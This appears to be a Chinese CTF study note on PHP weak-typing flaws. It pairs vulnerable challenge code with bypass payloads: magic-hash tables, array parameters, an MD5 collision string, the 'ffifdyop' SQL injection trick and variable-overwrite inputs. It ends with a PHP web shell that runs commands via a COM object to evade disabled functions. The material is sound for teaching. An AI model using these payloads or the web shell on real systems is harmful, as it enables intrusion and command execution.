PHP一些特色
PHP一些特色
弱类型
字符串与数值做比较,会先把字符串转换成数值
$a==$b 意思是,如果不同类型,经过类型转换后,$a与$b相等
$a===$b 类型也要相等,全等于
''==0==false
'123'==123
'abc'==0
'123a'==123
0x01==1
'0e123456789'='0e987654321'
[false]==[0]==[NULL]==['']
NULL==false==0
true==1
MD5比较
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0
md5(strings,true),如果是true就返回十六进制的值
第一级
<?php
ini_set("display_error",false);
error_reporting(0);
if($_POST['param1']!=$_POST['param2']&&md5($_POST['param1'])==md5($_POST['param2']))
{
die("flag{hello_smart_hacker}");
}
else
{
echo "You're a fool";
}
?>
分析
比较post数据,不能相等,数据类型转化后是相等的就行
利用
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0
明文 | MD5 |
---|---|
240610708 | 0e462097431906509019562988736854 |
QLTHNDT | 0e405967825401955372549139051580 |
QNKCDZO | 0e830400451993494058024219903391 |
PJNPDWY | 0e291529052894702774557631701704 |
NWWKITQ | 0e763082070976038347657360817689 |
NOOPCJF | 0e818888003657176127862245791911 |
MMHUWUV | 0e701732711630150438129209816536 |
MAUXXQC | 0e478478466848439040434801845361 |
IHKFRNS | 0e256160682445802696926137988570 |
GZECLQZ | 0e537612333747236407713628225676 |
GGHMVOE | 0e362766013028313274586933780773 |
GEGHBXL | 0e248776895502908863709684713578 |
EEIZDOI | 0e782601363539291779881938479162 |
DYAXWCA | 0e424759758842488633464374063001 |
DQWRASX | 0e742373665639232907775599582643 |
BRTKUJZ | 00e57640477961333848717747276704 |
ABJIHVY | 0e755264355178451322893275696586 |
aaaXXAYW | 0e540853622400160407992788832284 |
aabg7XSs | 0e087386482136013740957780965295 |
aabC9RqS | 0e041022518165728065344349536299 |
0e215962017 | 0e291242476940776845150308577824 |
明文 | MD4 |
---|---|
bhhkktQZ | 0e949030067204812898914975918567 |
0e001233333333333334557778889 | 0e434041524824285414215559233446 |
0e00000111222333333666788888889 | 0e641853458593358523155449768529 |
0001235666666688888888888 | 0e832225036643258141969031181899 |
第二级
<?php
ini_set("display_error",false);
error_reporting(0);
if($_POST['param1']!=$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
{
die("flag{hello_smart_hacker}");
}
else
{
echo "You're a fool";
}
?>
分析
比上一级多了个=,会检查类型
利用
md5强比较,没有规定字符串如果这个时候传入的是数组不是字符串,md5()函数无法解出其数值并且不会报错,就会得到数值相等;
param1[]=111¶m2[]=222
第三级
<?php
ini_set("display_error",false);
error_reporting(0);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
{
die("flag{hello_smart_hacker}");
}
else
{
echo "You're a fool";
}
?>
分析
区别在于,前面检查的是完全不相等,问题在于如果传递的值不相等,他还是不相等,所以直接用上一个的payload
利用
param1[]=111¶m2[]=222
第四级
<?php
ini_set("display_error",false);
error_reporting(0);
if((string)$_POST['param1']!==(string)$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
{
die("flag{hello_smart_hacker}");
}
else
{
echo "You're a fool";
}
?>
分析
真实md5碰撞,因为此时不能输入数组了,只能输入字符串
利用
强MD5碰撞,fastcoll.exefastcoll(MD5强碰撞).zip
当期目录下新建一个0.txt文件,使用下面的命令,生成MD5相同的1.txt和2.txt
命令行使用:
fastcoll.exe -p 0.txt -o 1.txt 2.txt
可以直接POST传文件
还可以用Python来把数据提出来:二进制字符串->二进制流->16进制->url编码
from urllib import parse
a=parse.quote(open('1.txt','rb').read())
print(a)
传参:
param1=f%A8%9D%B3%8D%FD%CA-%9ElX%E8%C4%95%03%FC%BE%89%D7%EA%20%3CS%FB/f7e%0A%900%08%15%CE%C3%F2%E0%E5U%0Eo%06W%DC%913%99%A2%97%9D-F~%25%BE%A3%09%A5%C4%3Bj%D8kb%18%0E%01MK%A7%E1%19%DDD%2CL%DDJ%DA%22%84%CCj0%09f%26%E1%C9%1Av%BD%ECG%FE%E9Ne%9E%9B%F4%0E%E8%10%88bU7%D2%E4%D5%E8P8%B1z%13%2C%82%F8%8D%1B%3Fk%AF%BC3%05
¶m2=f%A8%9D%B3%8D%FD%CA-%9ElX%E8%C4%95%03%FC%BE%89%D7j%20%3CS%FB/f7e%0A%900%08%15%CE%C3%F2%E0%E5U%0Eo%06W%DC%91%B3%99%A2%97%9D-F~%25%BE%A3%09%A5%C4%BBj%D8kb%18%0E%01MK%A7%E1%19%DDD%2CL%DDJ%DA%22%84%CCj%B0%09f%26%E1%C9%1Av%BD%ECG%FE%E9Ne%9E%9B%F4%0E%E8%10%88bU7%D2d%D5%E8P8%B1z%13%2C%82%F8%8D%1B%3F%EB%AF%BC3%05
SHA1比较
<?php
ini_set("display_error",false);
error_reporting(0);
$flag = "flag";
if(isset($_GET['name'])and isset ($_GET['password']))
{
if($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if(sha1($_GET['name'])===sha1($_GET['password']))
die('Flag:'.flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first</p>';
?>
分析
发现返回值还是string,所以还是可以用数组让他出错
http://127.0.0.1/php/type/sha1.php?name[]=1&password[]=
就可以,另外:
明文 | SHA1 |
---|---|
aaroZmOk | 0e66507019969427134894567494305185566735 |
aaK1STfY | 0e76658526655756207688271159624026011393 |
aaO8zKZF | 0e89257456677279068558073954252716165668 |
aa3OFF9m | 0e36977786278517984959260394024281014729 |
MD5结合Sqli
这个字符串:ffifdyop,经过md5后会变成:'or'6�]��!r,��b
然后' or '就成功绕过,真的是太巧了
实验吧的题目:http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
参考:https://blog.csdn.net/sinat_41380394/article/details/81490193
JSON相关
<?php
$flag="flag{welcome_to_json_world!}";
if(isset($_POST['message'])){
$message=json_decode($_POST['message']);
if($message->key == $key){
echo $flag;
}
else{echo "fail";}
}
else{
echo "=_=!";
}
?>
分析
经过json编码后与$key进行比较,但是我们并不知道key的值
json_decode相关知识
https://www.php.net/manual/zh/function.json-decode.php
利用
字符串与0做比较会相等,传message={"key":0}
switch相关
<?php
$key=$_POST['key'];
switch($key){
case 0:
case 1:
case 2:
echo "this is two";
break;
case 3:
echo "flag{hello_world}";
break;
}
?>
当$key是字符串时,跟下面比较会强制转换为int型,switch使用的是==格式,只要$key开头是3就可以
strcmp相关
转换成ascii后逐字节进行比较
返回相当于前面的减去后面的值
strcmp('ab','aa') 返回的是1
<?php
$flag="flag{welcome_to_strcmp_world!}";
if(isset($_POST['message'])){
if (strcmp($_POST['message'],$password)==0){
echo "right!!!";
echo $flag;
exit();
}
else{echo "fail";}
}
?>
传一个数组就可以得到flag
in_array相关
<?php
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array));
var_dump(in_array('1bc', $array));
var_dump(in_array('3', $array));
?>
//结果:bool(true) bool(true) bool(true)
检查是否在数组中,但是还是弱类型,说所以'abc'与0是一样的
array_search相关
<?php
$array=[0,1,2,'3'];
var_dump(array_search('abc', $array));
var_dump(array_search('1bc', $array));
var_dump(array_search(3, $array));
var_dump(array_search('3', $array));
?>
//结果:int(0) int(1) int(3) int(3)
例题
<?php
$flag="flag{welcome_to_array_world!}";
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
if($test[$i]==="admin"){
echo "error";
exit();
}
$test[$i]=intval($test[$i]);
}
if(array_search('admin',$test)===0)
{
echo $flag;
}
else{
echo "=_=!";
}
?>
传参:test[]=0
strpos相关
查找字符串首次出现的位置
strpos('abc','a')
变量覆盖
extract()
<?php
$trueflag="flag{11111_22_4232}";
extract($_GET);
if(isset($gift)){
$content = trim(file_get_contents($flag));
if($gift==$content){
echo $trueflag;
}
else{
echo "emm...";
}
}
?>
http://127.0.0.1/php/variable/extract.php?gift=&flag=
$$
遍历初始化变量
<?php
$a='hello';
echo "$a";
echo '</br>';
foreach($_GET as $key => $value){
$$key =$value;
}
echo "$a";
?>
如果传递的参数是a=123,那么GET得到的是是a=123,把$key的值给$value,意思就是$value=123
$key是a,那么$$key就是$a
例题
<?php
$_403 = "Access Denied";
$_200 = "Welcome Admin";
$flag = "flag{hello_hacker}";
if($_SERVER['REQUEST_METHOD']!="POST")
{
die("AEUCTF is here :p...");
}
if(!isset($_POST['flag']))
{
die($_403);
}
foreach($_GET as $key => $value)
{
$$key = $$value;
}
foreach ($_POST as $key => $value)
{
$$key = $value;
}
if($_POST["flag"]!==$flag)
{
die($_403);
}
echo "This is your flag: ".$flag."\n";
die($_200);
?>
get传参_200=flag
post传参flag=111
parse_str
<?php
$flag="flag{hello_world}";
if(empty($_GET['id']))
{
show_source(_FILE_);
die();
}
else
{
$a='yichen666';
$id=$_GET['id'];
@parse_str($id);
if($a[0]!='QNKCDZO'&&md5($a[0])==md5('QNKCDZO'))
{
echo $flag;
}
else
{
exit('It\'s so easy!!');
}
}
?>
分析
parse_str会将传入的值变成变量,也就是说传入?id=a[0]那么就会有一个叫做a[0]的变量,然后只要这个变量的md5跟QNKCDZO相等就可以了
注意:这个函数使用时,由于php变量名中不能带点和空格,他们会被转换成下划线
利用
http://127.0.0.1/php/variable/parse_str.php?id=a[0]=s214587387a
空白符
intval
会跳过一些空白符:\t\n\r\v\f等
获取变量的整数值,成功时返回integer值,失败时返回0,空的array返回0,非空的array返回1
常规字符串会消失:123aa会变成123
浮点精度
1.000000000000000000001==1(0加到一定程度是跟1一样大的)
is_numeric
检查变量是否为数字或数字字符串
is_numeric 检测的时候会自动过滤掉前面的 ‘ ‘, ‘\t’, ‘\n’, ‘\r’, ‘\v’, ‘\f’ 等字符,但是不会过滤 ‘\0’,如果这些字符出现在字符串尾,不会过滤,而是返回 false
<?php
//bugku的一道题
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
trim
默认情况下会除掉首尾空白符:\n\t\r\v\0\x0B
trim 函数会过滤空格以及 \n\r\t\v\0,但不会过滤过滤\f
伪随机数
种子一样的时候生成的随机数是一样的,如果拿到了种子,可以知道接下来生成的随机数
mt_srand
mt_rand
运算符
<?php
$flag="flag{hello_world!}";
$a="test";
$b="test2";
$a=$_GET['a'];
$b=$_GET['b'];
$c=is_numeric($a) and is_numeric($b);
if($c)
{
if(is_numeric($a))
{
if(is_numeric($b))
{
echo "is_numeric(b)";
}
else
{
echo $flag;
}
}
else
{
echo 'is_numeric(a) error';
}
}
else
{
print "is_numeric(a) and is_numeric(b) error !";
}
?>
http://127.0.0.1/php/learn/yun_suan_fu.php?a=123
第七行,先$c=is_numeric($a),然后再and,但是$c已经是正确的了,下面的$b就用定义好的就行了
parse_url
解析url,返回其组成部分,返回值是数组
escapeshellarg
把字符串转码为可以在shell中使用的参数
给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数
并且还是确保安全的
escapeshellcmd
shell元字符转义,对字符串中存在的可能欺骗shell执行的任意命令的字符进行转义
反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
disable_function
apache 的配置文件 php.ini 文件中定义的不允许执行的函数,在 phpinfo 中也会有表示
黑名单绕过
使用不在列表之中的函数
如果 system 可以使用 php 本身的命令实现,可以不用 system
例如:scandir 用于列目录,就代替了 system('ls');
扩展使用
Windows 下 COM 组件(系统组件)
<?php
$command = $_GET['a'];
$wsh = new COM('WScript.shell');//生成一个COM对象 Shell.Application也行
$exec = $wsh->exec("cmd /c ".$command);//调用对象方法来执行命令
$stdout = $exec->stdout();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
pcntl 扩展
以给定参数执行程序